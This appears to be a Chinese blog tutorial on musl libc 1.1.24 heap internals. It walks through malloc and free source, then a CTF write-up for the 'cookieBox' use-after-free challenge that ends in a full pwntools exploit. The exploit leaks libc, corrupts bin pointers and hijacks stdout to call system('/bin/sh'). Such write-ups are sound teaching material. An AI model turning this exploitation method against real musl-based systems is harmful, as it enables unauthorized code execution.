0%

musl_pwn

除了学习 glibc 的堆管理机制外,musl 也开始提上行程。

由于以前总是用模板思路做题,很多东西总是浮于表面,不能很好地系统性理解。因此有了回炉重造的想法,希望能从根本上理解堆管理的机制。

1 Musl简述

​ musl libc 是一个专门为嵌入式系统开发的轻量级 libc 库,以简单、轻量和高效率为特色。有不少 Linux 发行版将其设为默认的 libc 库,用来代替体积臃肿的 glibc ,如 Alpine Linux(做过 Docker 镜像的应该很熟悉)、OpenWrt(常用于路由器)和 Gentoo 等。

​ musl libc 堆管理器约等同于 dlmalloc(glibc 堆管理器 ptmalloc2 的前身),因此某些部分如 chunk、unbin 与 glibc 十分相似。

1
2
3
4
5
6
7
8
9
10
11
源码下载路径:
https://git.musl-libc.org/cgit/musl

编译命令(以1.1.24为例):
tar -xzvf musl-1.1.24.tar.gz
cd musl-1.1.24
sudo su
./configure --prefix=/usr/local/musl CFLAGS='-O2 -v' --enable-debug=yes
make && make install

编译完成后,可在 /usr/lib/musl/lib 目录下找到 libc.so

2 Musl 1.1.24

mallocfree的源码可以在src/malloc/malloc.c中查看,部分结构体和宏定义位于src/internal/malloc_impl.h

2-1 数据结构

chunk

1
2
3
4
struct chunk {
size_t psize, csize;
struct chunk *next, *prev;
};
image-20230903130448645

​ chunk 的结构如上,有点类似于 glibc ,但 chunk 之间不重用 psize,也就是说除了溢出之外,不能通过上一个 chunk 来修改下一个 chunk 的 psize 位。

​ psize 和 csize 都只有一种位于最低位的标志位 INUSE(glibc则有三种),INUSE 位为 1 说明 chunk 正在被使用,若为 0 则说明 chunk 已被释放或者通过 mmap 分配,需要 psize 的标志位进行进一步判断。

mal & bin

1
2
3
4
5
static struct {
volatile uint64_t binmap;
struct bin bins[64];
volatile int free_lock[2];
} mal;

​ mal 的结构体记录着堆的状态,有三个成员:64位无符号整数 binmap、链表头部数组 bins、锁 free_lock。其中 binmap 记录每个 chunk 是否为空,若某个比特位为 1,表示对应的 bin 为非空,即 bin 链表中有 chunk。

1
2
3
4
5
struct bin {
volatile int lock[2];
struct chunk *head;
struct chunk *tail;
};
image-20230903140424558

​ bin 的结构体如上。head 和 tail 指针分别指向头部和尾部的 chunk,同时首部 chunk 的 prev 指针和尾部 chunk 的 next 指针指向了 bin 链表的头部,构成了循环链表。若链表为空,head 和 tail 为 0 或者指向链表头部自身。

image-20230903140736882

​ 以上为每个 bin 的 chunk 大小范围,前 32 个 bin 类似于 fastbin 和 smallbin,每个 bin 只对应于一种大小的 chunk;后 32 个 bin 类似于 large bin,一个 bin 对应于多种大小的 chunk,例如 bin 下标为 34 时,计算得知 chunk 大小为 0x620~0x700,即可以容纳 0x620、0x640、0x660、0x680、0x6a0、0x6c0、0x6e0、0x700(0x20 递增)大小的 chunk。

2-2 malloc 实现

malloc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
void *malloc(size_t n)
{
struct chunk *c;
int i, j;

// *n = (*n + OVERHEAD + SIZE_ALIGN - 1) & SIZE_MASK;
// 1. n 增加头部长度,并对齐 32 位
if (adjust_size(&n) < 0) return 0;

// 如果 n 到达了 mmap 的门槛(0x38000),则使用 mmap 来申请 chunk
if (n > MMAP_THRESHOLD) {
size_t len = n + OVERHEAD + PAGE_SIZE - 1 & -PAGE_SIZE;
char *base = __mmap(0, len, PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
if (base == (void *)-1) return 0;
c = (void *)(base + SIZE_ALIGN - OVERHEAD);
c->csize = len - (SIZE_ALIGN - OVERHEAD);
c->psize = SIZE_ALIGN - OVERHEAD;
return CHUNK_TO_MEM(c);
}
// 2. 寻找 n 大小对应的 bin 下标
i = bin_index_up(n);
for (;;) {
// 3. 查找 binmap
uint64_t mask = mal.binmap & -(1ULL<<i);
if (!mask) {
// 若所有可用 bin 为空,则调用 expand_heap 函数生成新的 chunk
c = expand_heap(n);
if (!c) return 0;
if (alloc_rev(c)) {
struct chunk *x = c;
c = PREV_CHUNK(c);
NEXT_CHUNK(x)->psize = c->csize =
x->csize + CHUNK_SIZE(c);
}
break;
}
// 4. 获取大小最接近 n 的可用 bin 下标 j
j = first_set(mask);
lock_bin(j);
// 5. 获取下标为 j 的 bin 的首部
c = mal.bins[j].head;
// 6. 若符合条件,则使用 pretrim 分割 c,否则用 unbin 从链表中取出 c
if (c != BIN_TO_CHUNK(j)) {
if (!pretrim(c, n, i, j)) unbin(c, j);
unlock_bin(j);
break;
}
unlock_bin(j);
}
// 7. 回收 c 中大小超过 n 的部分
/* Now patch up in case we over-allocated */
trim(c, n);

return CHUNK_TO_MEM(c);
}

​ malloc 主要步骤是通过 binmap 选择 bin,然后取出 bin 首部的 chunk,且取出过程没有任何对链表和 chunk 头部的检测。详细步骤如下:

  1. 对用户申请的大小 n 进行调整,增加头部长度并与 32 位对齐。
  2. 如果 n 达到 mmap 的大小,则使用 mmap 返回内存给用户,否则计算 n 对应 bin 下标 i,查找 binmap。
  3. 如果所有可用的 bin 为空,则生成一个新的 chunk,否则选择大小最接近的 bin,获取其首部的 chunk c。
  4. 如果 c 符合 pretrim 条件,则使用 pretrim 进行切割,否则使用 unbin 从链表中取出 c。
  5. 最后对 chunk 进行 trim,返回给用户。

​ 需要简单了解一下 unbin、pretrim 和 trim。

unbin

1
2
3
4
5
6
7
8
9
10
11
12
static void unbin(struct chunk *c, int i)
{
// 若 bin 中只有一个 chunk c,将 bin 设置为空 bin
if (c->prev == c->next)
a_and_64(&mal.binmap, ~(1ULL<<i));
// 取出链表中的 chunk
c->prev->next = c->next;
c->next->prev = c->prev;
// 设置 INUSE 位
c->csize |= C_INUSE;
NEXT_CHUNK(c)->psize |= C_INUSE;
}

​ unbin 相当于 glibc 中的 unlink,作用是从 bin 双向链表中取出 chunk,取出过程并未检查 chunk 指针是否合法。

pretrim

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
static int pretrim(struct chunk *self, size_t n, int i, int j)
{
size_t n1;
struct chunk *next, *split;

/* We cannot pretrim if it would require re-binning. */
// 条件1:bin j 的下标大于等于 40
if (j < 40) return 0;
// 条件2:bin j 与 i 相隔了 3 个及以上
// 或 j == 63 且 split 的大小大于 MMAP_THRESHOLD
if (j < i+3) {
if (j != 63) return 0;
n1 = CHUNK_SIZE(self);
if (n1-n <= MMAP_THRESHOLD) return 0;
} else {
n1 = CHUNK_SIZE(self);
}
// 条件3:split 的大小属于 bin j 范围内,即同属于一个 bin
if (bin_index(n1-n) != j) return 0;

// 切割出一块大小为 n 的 chunk
next = NEXT_CHUNK(self);
split = (void *)((char *)self + n);

split->prev = self->prev;
split->next = self->next;
split->prev->next = split;
split->next->prev = split;
split->psize = n | C_INUSE;
split->csize = n1-n;
next->psize = n1-n;
self->csize = n | C_INUSE;
return 1;
}

​ pretrim 的功能是用于切割大 chunk,防止把大小超过需求的 chunk 分配给用户。当满足一定条件,pretrim 从 bin 链表首部 chunk 切割出一块大小刚好符合需要的小 chunk,然后将小 chunk 分配给用户,链表首部地址保持不变。

trim

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
static void trim(struct chunk *self, size_t n)
{
size_t n1 = CHUNK_SIZE(self);
struct chunk *next, *split;

// 条件:self的大小 n1 大于 n+DONTCARE(0x10)个字节
if (n >= n1 - DONTCARE) return;

// 将 self 的大小切割为 n,剩余部分称为新的 chunk split
next = NEXT_CHUNK(self);
split = (void *)((char *)self + n);

split->psize = n | C_INUSE;
split->csize = n1-n | C_INUSE;
next->psize = n1-n | C_INUSE;
self->csize = n | C_INUSE;

// 将 split 释放到 bin
__bin_chunk(split);
}

​ malloc 的最后一步是 trim,主要作用是回收 chunk 超过需求大小的部分。trim 将多余的部分切割出来,然后将其释放到 bin 中,以减少内存浪费。

2-3 free 实现

free

1
2
3
4
5
6
7
8
9
10
11
12
13
void free(void *p)
{
if (!p) return;

struct chunk *self = MEM_TO_CHUNK(p);

// #define IS_MMAPPED(c) !((c)->csize & (C_INUSE))
// 若 csize 没有设置 INUSE 标志位,检查是否为 mmap chunk 或 double free
if (IS_MMAPPED(self))
unmap_chunk(self);
else
__bin_chunk(self);
}

​ free 先对 chunk 进行 mmap / double free 检查。如果 chunk 的 csize 字段没有设置 INUSE 标志位,进入 unmap_chunk 函数。

unmap_chunk

1
2
3
4
5
6
7
8
9
static void unmap_chunk(struct chunk *self)
{
size_t extra = self->psize;
char *base = (char *)self - extra;
size_t len = CHUNK_SIZE(self) + extra;
/* Crash on double free */
if (extra & 1) a_crash();
__munmap(base, len);
}

如果 psize 设置了 INUSE 标志位,视为 double free,程序 crash,否则视为 mmap chunk,调用 __munmap 进行释放。

__bin_chunk

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
void __bin_chunk(struct chunk *self)
{
struct chunk *next = NEXT_CHUNK(self);
size_t final_size, new_size, size;
int reclaim=0;
int i;

// new_size 是 self 原来的大小,final_size 是 self 合并空闲 chunk 后的大小
final_size = new_size = CHUNK_SIZE(self);

// 如果下一个 chunk 的 psize 位不等于 self 的 csize,则程序 crash
/* Crash on corrupted footer (likely from buffer overflow) */
if (next->psize != self->csize) a_crash();

// 1. 检查 self 前后是否有空闲 chunk
for (;;) {
if (self->psize & next->csize & C_INUSE) {
// 去除 INUSE 位
self->csize = final_size | C_INUSE;
next->psize = final_size | C_INUSE;
// 计算 final_size 对应下标
i = bin_index(final_size);
lock_bin(i);
lock(mal.free_lock);
if (self->psize & next->csize & C_INUSE)
break; //退出循环
unlock(mal.free_lock);
unlock_bin(i);
}

// 向前合并空闲的 chunk
if (alloc_rev(self)) {
self = PREV_CHUNK(self);
size = CHUNK_SIZE(self);
final_size += size;
if (new_size+size > RECLAIM && (new_size+size^size) > size)
reclaim = 1;
}

// 向后合并空闲的 chunk
if (alloc_fwd(next)) {
size = CHUNK_SIZE(next);
final_size += size;
if (new_size+size > RECLAIM && (new_size+size^size) > size)
reclaim = 1;
next = NEXT_CHUNK(next);
}
}

// 2. 在 binmap 中,将 bin i 设为非空 bin
if (!(mal.binmap & 1ULL<<i))
a_or_64(&mal.binmap, 1ULL<<i);

self->csize = final_size;
next->psize = final_size;
unlock(mal.free_lock);

// 3. 将 self 加入到 bin i 对应链表的尾部
self->next = BIN_TO_CHUNK(i);
self->prev = mal.bins[i].tail;
self->next->prev = self;
self->prev->next = self;

/* Replace middle of large chunks with fresh zero pages */
if (reclaim) {
uintptr_t a = (uintptr_t)self + SIZE_ALIGN+PAGE_SIZE-1 & -PAGE_SIZE;
uintptr_t b = (uintptr_t)next - SIZE_ALIGN & -PAGE_SIZE;
#if 1
__madvise((void *)a, b-a, MADV_DONTNEED);
#else
__mmap((void *)a, b-a, PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, -1, 0);
#endif
}

unlock_bin(i);
}

​ __bin_chunk 的功能是将 chunk 插入到 bin 链表中,首先合并 chunk 前后的空闲 chunk,设置 binmap 和 chunk 标志位,最后将 chunk 插入到 bin 链表中。

2-4 静态堆内存初始化

​ 在 glibc 中,堆一般位于内存中的动态内存区域,而 musl libc 堆管理器为了减少内存开销,将程序和 libc 库(静态内存)的空闲内存划分为堆内存,并优先使用静态堆内存来分配 chunk。只有当静态堆内存耗尽或无法满足需求时,musl libc 才会去申请动态内存。

​ 该特性有助于漏洞利用过程中的信息泄露,往往可以得到 libc 或是程序基址信息。

__dls3

1
2
3
4
5
6
7
8
9
10
11
12
13
void __dls3(size_t *sp)
{
/*
....
*/

reclaim_gaps(&app);
reclaim_gaps(&ldso);

/*
....
*/
}

​ 源代码很长,关键在于 reclaim_gaps 这个函数。

reclaim_gaps & reclaim

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
static void reclaim(struct dso *dso, size_t start, size_t end)
{
// 避开 RELRO 段
if (start >= dso->relro_start && start < dso->relro_end) start = dso->relro_end;
if (end >= dso->relro_start && end < dso->relro_end) end = dso->relro_start;
if (start >= end) return;
char *base = laddr_pg(dso, start);

// 使用 __malloc_donate 函数将内存释放到 bin 中
__malloc_donate(base, base+(end-start));
}

static void reclaim_gaps(struct dso *dso)
{
Phdr *ph = dso->phdr;
size_t phcnt = dso->phnum;

// 遍历每一个段
for (; phcnt--; ph=(void *)((char *)ph+dso->phentsize)) {
// 条件1:段不属于可加载段(PT_LOAD)
if (ph->p_type!=PT_LOAD) continue;
// 条件2:段可读可写
if ((ph->p_flags&(PF_R|PF_W))!=(PF_R|PF_W)) continue;
// 在段所属内存页中,将段的前后空闲内存传递给 reclaim 函数
reclaim(dso, ph->p_vaddr & -PAGE_SIZE, ph->p_vaddr);
reclaim(dso, ph->p_vaddr+ph->p_memsz,
ph->p_vaddr+ph->p_memsz+PAGE_SIZE-1 & -PAGE_SIZE);
}
}

​ reclaim_gaps 函数通过遍历每个内存段,找到符合条件的段,计算其所属内存页,最后通过 __malloc_donate 将页中的空闲内存释放到 bin 中。

3 漏洞利用手法

​ 由于在 musl libc 中没有像 glibc 中那样的 hook 指针来调用,所以一般用到的都是 FSOP 即覆盖 FILE 结构体中的某些指针来劫持控制流。

​ 详细的利用手法以后遇到例题再总结上来。

4 例题

例题信息

1
2
3
4
5
来源:2023羊城杯初赛-cookieBox
libc版本:musl libc 1.1.24
漏洞:UAF
限制:堆块大小 <= 0x100
size 和 chunk 以相同 idx 同时布置在 bss 上,释放堆块会清空 size,edit 和 show 功能会对 size 进行检测。

ADD

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
ssize_t sub_400A50()
{
ssize_t result; // rax
int i; // [rsp+0h] [rbp-10h]
unsigned int size[3]; // [rsp+4h] [rbp-Ch]

puts("Please input the size:");
*size = input_number(); // 输入大小
if ( size[0] > 0x100 )
{
puts("Invalid size");
exit(0);
}
*&size[1] = malloc(size[0]); // 分配内存
if ( !*&size[1] )
{
puts("Malloc Error");
exit(0);
}
puts("Please input the Content:");
result = read(0, *&size[1], size[0]); // 往堆内存读取数据
if ( result < 0 )
{
puts("Read Error");
exit(0);
}
for ( i = 0; i <= 15; ++i ) // 遍历 bss 段
{
result = (&buf)[i];
if ( !result ) // 寻找空的内存用于存储堆指针
{
result = *(&nbytes + i);
if ( !result ) // 寻找空的内存用于存储堆大小
{
(&buf)[i] = *&size[1]; // 只有找到两个 index 相同为空才进行设置
*(&nbytes + i) = size[0];
puts("Done");
return i;
}
}
}
return result;
}

DELETE

1
2
3
4
5
6
7
8
9
10
11
12
13
int sub_400B69()
{
unsigned int v1; // [rsp+Ch] [rbp-4h]

puts("Please input the idx:");
v1 = input_number();
if ( v1 > 0xF || !(&buf)[v1] )
return puts("Idx Error");
free((&buf)[v1]); // UAF
*(&nbytes + v1) = 0; // 只清空 bss 上相应的堆 size,而未清空对应指针
puts("Done");
return v1;
}

EDIT

1
2
3
4
5
6
7
8
9
10
11
12
13
int sub_400C59()
{
unsigned int v1; // [rsp+Ch] [rbp-4h]

puts("Please input the idx:");
v1 = input_number();
if ( v1 <= 0xF && (&buf)[v1] && *(&nbytes + v1) ) // 检查 bss 上对应的堆指针和堆 size
{
puts("Please input the content:");
read(0, (&buf)[v1], *(&nbytes + v1)); // 根据 bss 上堆 size 读取数据
puts("Done");
}
return puts("Idx Error");

SHOW

1
2
3
4
5
6
7
8
9
10
11
12
int sub_400BE1()
{
unsigned int v1; // [rsp+Ch] [rbp-4h]

puts("Please input the idx:");
v1 = input_number();
if ( v1 > 0xF || !(&buf)[v1] || !*(&nbytes + v1) ) // 同样会检测堆指针和堆 size
return puts("Idx Error");
puts((&buf)[v1]);
puts("Done");
return v1;
}

解题思路

调试命令:p/x mal可以查看 mal 堆管理器。

  1. 由于静态堆内存初试化后,打开 gdb调试发现,bin 中已有一些 chunk(一个在程序段上,一个在libc上),且 idx > 32,不知为何需要申请 4 次才能申请完(不应该是 2 次吗?不过对做题没有影响)。

    image-20230904121226225
  2. 由于静态堆初始化,因此很容易就可以泄露出 libc 基址。

    1
    2
    3
    4
    5
    6
    7
    add(0x10, b'a'*8)   #0
    add(0x10, b'b'*8) #1
    add(0x100, b'c'*0x10) #2
    add(0x10, b'd'*0x8) #3

    show(0)
    libc_base = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x292e50
  3. 利用 uaf 实现两个指针指向同一个堆(目标堆),一个用于 free,一个用于 edit,

    再释放一个堆使得目标堆和该堆处于同一 bin 中。

    1
    2
    3
    4
    free(1)
    add(0x10, b'e'*0x8) #4(1)
    free(1)
    free(0)
  4. 修改目标堆的 next 指针指向 __stdout_FILE,

    修改其 prev 指针指向目标地址 addr-0x10,

    再申请一个堆,达到 attack,向 addr 中写入__stdout_FILE,

    这里的 addr 即为 bss 上的 idx2 对应的堆指针。

    1
    2
    edit(4, p64(stdout) + p64(0x602070-0x10))
    add(0x10, b'f'*0x8)
  5. 修改目标堆指针,即修改 __stdout_FILE 结构体,通过 puts 触发链子,打其他 FILE 链子的时候可能需要保证 wpos != wbase

    image-20230904122654594
    1
    2
    3
    4
    payload = b'/bin/sh\x00'
    payload += b'X' * 64
    payload += p64(system)
    edit(2, payload)

还有一种解题思路就是在 attack 时改 addr 为 mal 上的对应的 bin结构体,修改其 head,也能申请到对应内存。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from pwn import *

io = process('./cookieBox')
libc = ELF("./libc.so")

def add(size, content):
io.sendlineafter(b">>", b'1')
io.sendlineafter(b"Please input the size:\n", str(size).encode())
io.sendafter(b"Please input the Content:\n", content)

def free(idx):
io.sendlineafter(b">>", b'2')
io.sendlineafter(b"Please input the idx:\n", str(idx).encode())

def edit(idx, content):
io.sendlineafter(b">>", b'3')
io.sendlineafter(b"Please input the idx:\n", str(idx).encode())
io.sendafter(b"Please input the content:\n", content)

def show(idx):
io.sendlineafter(b">>", b'4')
io.sendlineafter(b"Please input the idx:\n", str(idx).encode())

def debug():
gdb.attach(io)

add(0x10, b'a'*8) #0
add(0x10, b'b'*8) #1
add(0x100, b'c'*0x10) #2
add(0x10, b'd'*0x8) #3

show(0)
libc_base = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x292e50

log.success("libc_base===>"+hex(libc_base))

stdout = libc_base + libc.sym["__stdout_FILE"]
system = libc_base + libc.sym["system"]
mal = libc_base + 0x292ac0

free(1)
add(0x10, b'e'*0x8) #4(1)
free(1)
free(0)

edit(4, p64(stdout) + p64(0x602060))
add(0x10, b'f'*0x8)

debug()
pause()

payload = b'/bin/sh\x00'
payload += b'X' * 64
payload += p64(system)
edit(2, payload)

io.interactive()